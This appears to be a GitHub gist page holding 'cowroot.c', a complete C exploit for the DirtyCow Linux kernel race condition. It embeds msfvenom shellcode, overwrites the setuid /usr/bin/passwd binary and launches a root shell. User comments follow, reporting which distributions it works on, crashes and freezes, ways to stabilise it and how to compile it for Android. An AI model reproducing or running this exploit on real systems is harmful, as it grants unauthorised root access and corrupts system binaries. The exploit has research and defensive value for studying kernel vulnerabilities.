/* | |
* (un)comment correct payload first (x86 or x64)! | |
* | |
* $ gcc cowroot.c -o cowroot -pthread | |
* $ ./cowroot | |
* DirtyCow root privilege escalation | |
* Backing up /usr/bin/passwd.. to /tmp/bak | |
* Size of binary: 57048 | |
* Racing, this may take a while.. | |
* /usr/bin/passwd overwritten | |
* Popping root shell. | |
* Don't forget to restore /tmp/bak | |
* thread stopped | |
* thread stopped | |
* root@box:/root/cow# id | |
* uid=0(root) gid=1000(foo) groups=1000(foo) | |
* | |
* @robinverton | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/mman.h> | |
#include <fcntl.h> | |
#include <pthread.h> | |
#include <string.h> | |
#include <unistd.h> | |
void *map; | |
int f; | |
int stop = 0; | |
struct stat st; | |
char *name; | |
pthread_t pth1,pth2,pth3; | |
// change if no permissions to read | |
char suid_binary[] = "/usr/bin/passwd"; | |
/* | |
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i | |
*/ | |
unsigned char sc[] = { | |
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, | |
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, | |
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, | |
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, | |
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 | |
}; | |
unsigned int sc_len = 177; | |
/* | |
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i | |
unsigned char sc[] = { | |
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, | |
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, | |
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, | |
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, | |
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, | |
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, | |
0x89, 0xe1, 0xcd, 0x80 | |
}; | |
unsigned int sc_len = 136; | |
*/ | |
void *madviseThread(void *arg) | |
{ | |
char *str; | |
str=(char*)arg; | |
int i,c=0; | |
for(i=0;i<1000000 && !stop;i++) { | |
c+=madvise(map,100,MADV_DONTNEED); | |
} | |
printf("thread stopped\n"); | |
} | |
void *procselfmemThread(void *arg) | |
{ | |
char *str; | |
str=(char*)arg; | |
int f=open("/proc/self/mem",O_RDWR); | |
int i,c=0; | |
for(i=0;i<1000000 && !stop;i++) { | |
lseek(f,map,SEEK_SET); | |
c+=write(f, str, sc_len); | |
} | |
printf("thread stopped\n"); | |
} | |
void *waitForWrite(void *arg) { | |
char buf[sc_len]; | |
for(;;) { | |
FILE *fp = fopen(suid_binary, "rb"); | |
fread(buf, sc_len, 1, fp); | |
if(memcmp(buf, sc, sc_len) == 0) { | |
printf("%s overwritten\n", suid_binary); | |
break; | |
} | |
fclose(fp); | |
sleep(1); | |
} | |
stop = 1; | |
printf("Popping root shell.\n"); | |
printf("Don't forget to restore /tmp/bak\n"); | |
system(suid_binary); | |
} | |
int main(int argc,char *argv[]) { | |
char *backup; | |
printf("DirtyCow root privilege escalation\n"); | |
printf("Backing up %s to /tmp/bak\n", suid_binary); | |
asprintf(&backup, "cp %s /tmp/bak", suid_binary); | |
system(backup); | |
f = open(suid_binary,O_RDONLY); | |
fstat(f,&st); | |
printf("Size of binary: %d\n", st.st_size); | |
char payload[st.st_size]; | |
memset(payload, 0x90, st.st_size); | |
memcpy(payload, sc, sc_len+1); | |
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); | |
printf("Racing, this may take a while..\n"); | |
pthread_create(&pth1, NULL, &madviseThread, suid_binary); | |
pthread_create(&pth2, NULL, &procselfmemThread, payload); | |
pthread_create(&pth3, NULL, &waitForWrite, NULL); | |
pthread_join(pth3, NULL); | |
return 0; | |
} |
This comment has been minimized.
This comment has been minimized.
This doesn't appear to work on Ubuntu 14.04:
|
This comment has been minimized.
This comment has been minimized.
CentOS5/6 have |
This comment has been minimized.
This comment has been minimized.
The code got me root access but it freezes the machine. Looking for ways to achieve the same goal using some other way. |
This comment has been minimized.
This comment has been minimized.
Can anyone confirm that this payload is not malicious? (It's a good opportunity to make people run random things on their machines) But for the rest, I have no idea about what it's actually doing. |
This comment has been minimized.
This comment has been minimized.
All looks legit to me tuxayo. |
This comment has been minimized.
This comment has been minimized.
Seems to work great, but freezes my virtual machine after a minute or so. |
This comment has been minimized.
This comment has been minimized.
Had to explicitly cast on line 98: It then compiled and worked on Centos7-x64 for about 30 seconds after which selinux went crazy and the system reboot. Some sample /var/log/messages prior to the crash:
Great work so far! |
This comment has been minimized.
This comment has been minimized.
Same thing happened to me (system crash in centos 7/64) with selinux disabled, but I went root for about one minute or so |
This comment has been minimized.
This comment has been minimized.
Tested on debian 8 x86. uname 3.16-0-4-686. Doesn't work |
This comment has been minimized.
This comment has been minimized.
@artkond, did you choose the correct payload? In a VM with Ubuntu 16.04.1 it works but freezes the system. |
This comment has been minimized.
This comment has been minimized.
@libmifan I can't even compile it with Centos 5.11 (2.6.18-412.el5.centos.plus), I had to add:
Is this expected? Maybe not, right @falk0069?
|
This comment has been minimized.
This comment has been minimized.
The warnings are normal. This PoC crashes on some systems and on some others it's stable. I can't fix this for now. Maybe you can find a different PoC from here, which makes use of another technique and does not crash. |
This comment has been minimized.
This comment has been minimized.
I was able to stabilize this exploit by turning off periodic write-back after the shell pops. As found in the following issue.
|
This comment has been minimized.
This comment has been minimized.
The lazy(easy) approach to disabling writebacks: https://gist.github.com/joshuaskorich/86c90e12436c873e4a06bd64b461cc43 |
This comment has been minimized.
This comment has been minimized.
gcc cowroot.c -o cowroot -pthread |
This comment has been minimized.
This comment has been minimized.
When copying |
This comment has been minimized.
This comment has been minimized.
goddammit I used this exploit because i forgot my new root password and I didn't realize it alters passwd binary so then I couldn't reset my password to proper one! :< luckily it doesn't affect snapshots so at least I could revert /etc/shadow and /bin/passwd from old snapshot >.> |
This comment has been minimized.
This comment has been minimized.
how can i compile it in order to run it on android device? |
This comment has been minimized.
This comment has been minimized.
how you generate the payload of the metasploit in hexcode(shell code)? |
This comment has been minimized.
This comment has been minimized.
This comment has been minimized.
This comment has been minimized.
Any reason why we use |
This comment has been minimized.
This comment has been minimized.
Awesome, saved my old dev computer after I forgot my root creds. |
This comment has been minimized.
This comment has been minimized.
TheBunnyCoder no, it isn´t happen. It means it doesn´t work in your machine |
This comment has been minimized.
This comment has been minimized.
It works but freeze the machine. I think there isn´t other way like cowroot |
This comment has been minimized.
I have two questions: